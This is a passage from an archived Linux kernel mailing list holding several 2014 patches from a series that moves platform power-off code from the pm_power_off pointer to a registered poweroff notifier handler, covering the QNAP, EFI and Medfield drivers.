@@ -61,7 +57,6 @@ static unsigned long __init mfld_calibrate_tsc(void)
 static void __init penwell_arch_setup(void)
 {
 	x86_platform.calibrate_tsc = mfld_calibrate_tsc;
-	pm_power_off = mfld_power_off;
 }
 
 void *get_penwell_ops(void)
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 44/44] kernel: Remove pm_power_off
Date: Mon,  6 Oct 2014 22:28:46 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <1412659726-29957-45-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659872 26613 80.91.229.3 (7 Oct 2014 05:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:12 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	"Rafael J. W
To: linux-kernel@vger.kernel.org
Original-X-From: linux-acpi-owner@vger.kernel.org Tue Oct 07 07:31:04 2014
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1XbNMV-00038k-GG
	for glad-acpi-devel@plane.gmane.org; Tue, 07 Oct 2014 07:31:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754023AbaJGFa5 (ORCPT <rfc822;glad-acpi-devel@m.gmane.org>);
	Tue, 7 Oct 2014 01:30:57 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41353 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754016AbaJGFa4 (ORCPT
	<rfc822;linux-acpi@vger.kernel.org>); Tue, 7 Oct 2014 01:30:56 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=C9K3YgqJ4LXgPWVvhs0AhDdLB8r7RvJvTt8ntj/ReaA=;
	b=6bIFiT4kIR8fv4v/XnRM/zfLAJLcYn33VmnbkvHkcrb5hWH9j12bu38T5T1dtEP0cBCHpl9rWgM/5Doo/JinjPGkFI/4u74qbRPFE3oLDFZFPdt6A1ZNva4Um1TOXgRbZwohE7pgGTMEPIzXSc6vSisHbZhRaX97opfLiF8YvrU=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNMN-002j2P-BJ
	for linux-acpi@vger.kernel.org; Tue, 07 Oct 2014 05:30:55 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32947 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNMC-002hqy-J6; Tue, 07 Oct 2014 05:30:45 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.6
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020208.54337A8F.00B9,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 920
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 3
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
Xref: news.gmane.org gmane.linux.acpi.devel:71280 gmane.linux.kernel:1802457 gmane.linux.drivers.devicetree:93047 gmane.linux.kernel.virtualization.lguest:1466 gmane.linux.ports.alpha:2451 gmane.linux.kernel.efi:4734 gmane.linux.ports.hexagon:798 gmane.linux.ports.ppc64.devel:105877 gmane.linux.ports.tegra:19480 gmane.linux.kernel.openipmi:2457 gmane.linux.uml.devel:14670 gmane.linux.ports.arm.kernel:362352 gmane.linux.ports.ia64:24487 gmane.linux.kernel.metag:318 gmane.linux.ports.mips.general:44168 gmane.linux.ports.parisc:6093 gmane.linux.power-management.general:50622 gmane.linux.ports.sh.devel:39791
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/71280>

No users of pm_power_off are left, so it is safe to remove the function.

Cc: Rafael J. Wysocki <rjw@rjwysocki.net>
Cc: Pavel Machek <pavel@ucw.cz>
Cc: Len Brown <len.brown@intel.com>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 include/linux/pm.h              |  1 -
 kernel/power/poweroff_handler.c | 10 +---------
 2 files changed, 1 insertion(+), 10 deletions(-)

diff --git a/include/linux/pm.h b/include/linux/pm.h
index 45271b5..fce7645 100644
--- a/include/linux/pm.h
+++ b/include/linux/pm.h
@@ -31,7 +31,6 @@
 /*
  * Callbacks for platform drivers to implement.
  */
-extern void (*pm_power_off)(void);
 extern void (*pm_power_off_prepare)(void);
 
 /*
diff --git a/kernel/power/poweroff_handler.c b/kernel/power/poweroff_handler.c
index 96f59ef..01a3a39 100644
--- a/kernel/power/poweroff_handler.c
+++ b/kernel/power/poweroff_handler.c
@@ -20,12 +20,6 @@
 #include <linux/types.h>
 
 /*
- * If set, calling this function will power off the system immediately.
- */
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
-/*
  *	Notifier list for kernel code which wants to be called
  *	to power off the system.
  */
@@ -163,8 +157,6 @@ int register_poweroff_handler_simple(void (*handler)(void), int priority)
  */
 void do_kernel_poweroff(void)
 {
-	if (pm_power_off)
-		pm_power_off();
 	atomic_notifier_call_chain(&poweroff_handler_list, 0, NULL);
 }
 
@@ -175,6 +167,6 @@ void do_kernel_poweroff(void)
  */
 bool have_kernel_poweroff(void)
 {
-	return pm_power_off != NULL || poweroff_handler_list.head != NULL;
+	return poweroff_handler_list.head != NULL;
 }
 EXPORT_SYMBOL(have_kernel_poweroff);
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-acpi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 23/44] power/reset: qnap-poweroff: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:25 -0700
Lines: 88
Approved: news@gmane.org
Message-ID: <1412659726-29957-24-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659876 26639 80.91.229.3 (7 Oct 2014 05:31:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:16 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Sebastian Re
To: linux-kernel@vger.kernel.org
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Oct 07 07:31:07 2014
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1XbNMY-00038k-L3
	for glpm-linux-m68k@plane.gmane.org; Tue, 07 Oct 2014 07:31:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754042AbaJGFbC (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 7 Oct 2014 01:31:02 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41347 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754013AbaJGFaz (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 7 Oct 2014 01:30:55 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=A86cH9ks65X9PU9nhclBxy819n4wwi6DVLGTSSnr1NI=;
	b=j+ucWMPrBIj5xOQ1LOHtls/nMy3StZEXn3T/AXj8HJcgXH+4UXxhglg6wQ7TXbjeSJAgjGfIf8WCfDe88s6JixAAnrwwyHG+gEtRLI+/KBSrD5wbxsw6+tv5eUXH5fupa2rCMMh1EJy5UMmmlcqycW74BZr27AwN7yxUbaPg99c=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNMM-002j0o-Ue
	for linux-m68k@lists.linux-m68k.org; Tue, 07 Oct 2014 05:30:55 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32926 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLL-002c5g-2s; Tue, 07 Oct 2014 05:29:51 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=0.3
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337A8F.003D,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 913
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 1
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - lists.linux-m68k.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:6210 gmane.linux.kernel:1802458 gmane.linux.drivers.devicetree:93048 gmane.linux.kernel.virtualization.lguest:1467 gmane.linux.acpi.devel:71281 gmane.linux.ports.alpha:2452 gmane.linux.kernel.efi:4735 gmane.linux.ports.hexagon:799 gmane.linux.ports.ppc64.devel:105878 gmane.linux.ports.tegra:19481 gmane.linux.kernel.openipmi:2458 gmane.linux.uml.devel:14671 gmane.linux.ports.arm.kernel:362353 gmane.linux.ports.ia64:24488 gmane.linux.kernel.metag:319 gmane.linux.ports.mips.general:44169 gmane.linux.ports.parisc:6094 gmane.linux.power-management.general:50623 gmane.linux.ports.sh.devel:39792
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/6210>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with default priority value of 128 to reflect that
the original code generates an error if another poweroff handler has
already been registered when the driver is loaded.

Cc: Sebastian Reichel <sre@kernel.org>
Cc: Dmitry Eremin-Solenikov <dbaryshkov@gmail.com>
Cc: David Woodhouse <dwmw2@infradead.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/power/reset/qnap-poweroff.c | 28 ++++++++++++++--------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/drivers/power/reset/qnap-poweroff.c b/drivers/power/reset/qnap-poweroff.c
index a75db7f..c474980 100644
--- a/drivers/power/reset/qnap-poweroff.c
+++ b/drivers/power/reset/qnap-poweroff.c
@@ -16,7 +16,9 @@
 
 #include <linux/kernel.h>
 #include <linux/module.h>
+#include <linux/notifier.h>
 #include <linux/platform_device.h>
+#include <linux/pm.h>
 #include <linux/serial_reg.h>
 #include <linux/kallsyms.h>
 #include <linux/of.h>
@@ -55,7 +57,8 @@ static void __iomem *base;
 static unsigned long tclk;
 static const struct power_off_cfg *cfg;
 
-static void qnap_power_off(void)
+static int qnap_power_off(struct notifier_block *this, unsigned long unused1,
+			  void *unused2)
 {
 	const unsigned divisor = ((tclk + (8 * cfg->baud)) / (16 * cfg->baud));
 
@@ -72,14 +75,20 @@ static void qnap_power_off(void)
 
 	/* send the power-off command to PIC */
 	writel(cfg->cmd, UART1_REG(TX));
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block qnap_poweroff_nb = {
+	.notifier_call = qnap_power_off,
+	.priority = 128,
+};
+
 static int qnap_power_off_probe(struct platform_device *pdev)
 {
 	struct device_node *np = pdev->dev.of_node;
 	struct resource *res;
 	struct clk *clk;
-	char symname[KSYM_NAME_LEN];
 
 	const struct of_device_id *match =
 		of_match_node(qnap_power_off_of_match_table, np);
@@ -106,22 +115,13 @@ static int qnap_power_off_probe(struct platform_device *pdev)
 
 	tclk = clk_get_rate(clk);
 
-	/* Check that nothing else has already setup a handler */
-	if (pm_power_off) {
-		lookup_symbol_name((ulong)pm_power_off, symname);
-		dev_err(&pdev->dev,
-			"pm_power_off already claimed %p %s",
-			pm_power_off, symname);
-		return -EBUSY;
-	}
-	pm_power_off = qnap_power_off;
-
-	return 0;
+	return register_poweroff_handler(&qnap_poweroff_nb);
 }
 
 static int qnap_power_off_remove(struct platform_device *pdev)
 {
-	pm_power_off = NULL;
+	unregister_poweroff_handler(&qnap_poweroff_nb);
+
 	return 0;
 }
 
-- 
1.9.1


From - Thu Nov 08 21:10:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.ports.tegra,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 42/44] efi: Register poweroff handler with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:44 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <1412659726-29957-43-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659888 26775 80.91.229.3 (7 Oct 2014 05:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:31:28 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Matt Fleming
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:31:19 2014
Return-path: <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNMk-0003NU-Az
	for glpt-linux-tegra-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:31:18 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754106AbaJGFbQ (ORCPT <rfc822;glpt-linux-tegra@m.gmane.org>);
	Tue, 7 Oct 2014 01:31:16 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:41438 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754040AbaJGFbC (ORCPT
	<rfc822;linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:31:02 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=sd9+dVBhfvQIGg+RmaWWiGnVpvGQ8ZfgP1x3LeTSNPs=;
	b=pGBkIA20yN6fEYUqhG7swU4SELZ/QKh+EV2ZwYEvLsyBI9GrgzzUL42zSLneTLwxg8Eqr2DK1B0LIxGAjwwiMWwbrGc2rp4HVayHSMGaj/ClAAmzrN6dG7vtOaKkwBTpFwcAWcP3qL0VqI0U+5GASAjxC5kbTltVywO2KH0Db2s=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNMT-002jbY-LT
	for linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:31:01 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32945 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNM6-002gyM-Ux; Tue, 07 Oct 2014 05:30:39 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020208.54337A95.0141,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 974
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 18
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-tegra-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-tegra.vger.kernel.org>
X-Mailing-List: linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.ports.tegra:19482 gmane.linux.kernel:1802459 gmane.linux.drivers.devicetree:93049 gmane.linux.kernel.virtualization.lguest:1468 gmane.linux.acpi.devel:71282 gmane.linux.ports.alpha:2453 gmane.linux.kernel.efi:4736 gmane.linux.ports.hexagon:800 gmane.linux.ports.ppc64.devel:105879 gmane.linux.kernel.openipmi:2459 gmane.linux.uml.devel:14672 gmane.linux.ports.arm.kernel:362354 gmane.linux.ports.ia64:24489 gmane.linux.kernel.metag:320 gmane.linux.ports.mips.general:44170 gmane.linux.ports.parisc:6095 gmane.linux.power-management.general:50624 gmane.linux.ports.sh.devel:39793
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.tegra/19482>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with low priority value of 64 since the efi code
states that this is a poweroff handler of last resort.

Cc: Matt Fleming <matt.fleming-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 drivers/firmware/efi/reboot.c | 23 +++++++++++++++++++----
 1 file changed, 19 insertions(+), 4 deletions(-)

diff --git a/drivers/firmware/efi/reboot.c b/drivers/firmware/efi/reboot.c
index 9c59d1c..c082439 100644
--- a/drivers/firmware/efi/reboot.c
+++ b/drivers/firmware/efi/reboot.c
@@ -3,6 +3,8 @@
  * Copyright (c) 2014 Red Hat, Inc., Mark Salter <msalter-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
  */
 #include <linux/efi.h>
+#include <linux/notifier.h>
+#include <linux/pm.h>
 #include <linux/reboot.h>
 
 int efi_reboot_quirk_mode = -1;
@@ -38,19 +40,32 @@ bool __weak efi_poweroff_required(void)
 	return false;
 }
 
-static void efi_power_off(void)
+static int efi_power_off(struct notifier_block *this,
+			 unsigned long unused1, void *unused2)
 {
 	efi.reset_system(EFI_RESET_SHUTDOWN, EFI_SUCCESS, 0, NULL);
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block efi_poweroff_nb = {
+	.notifier_call = efi_power_off,
+	.priority = 64,
+};
+
 static int __init efi_shutdown_init(void)
 {
+	int ret = 0;
+
 	if (!efi_enabled(EFI_RUNTIME_SERVICES))
 		return -ENODEV;
 
-	if (efi_poweroff_required())
-		pm_power_off = efi_power_off;
+	if (efi_poweroff_required()) {
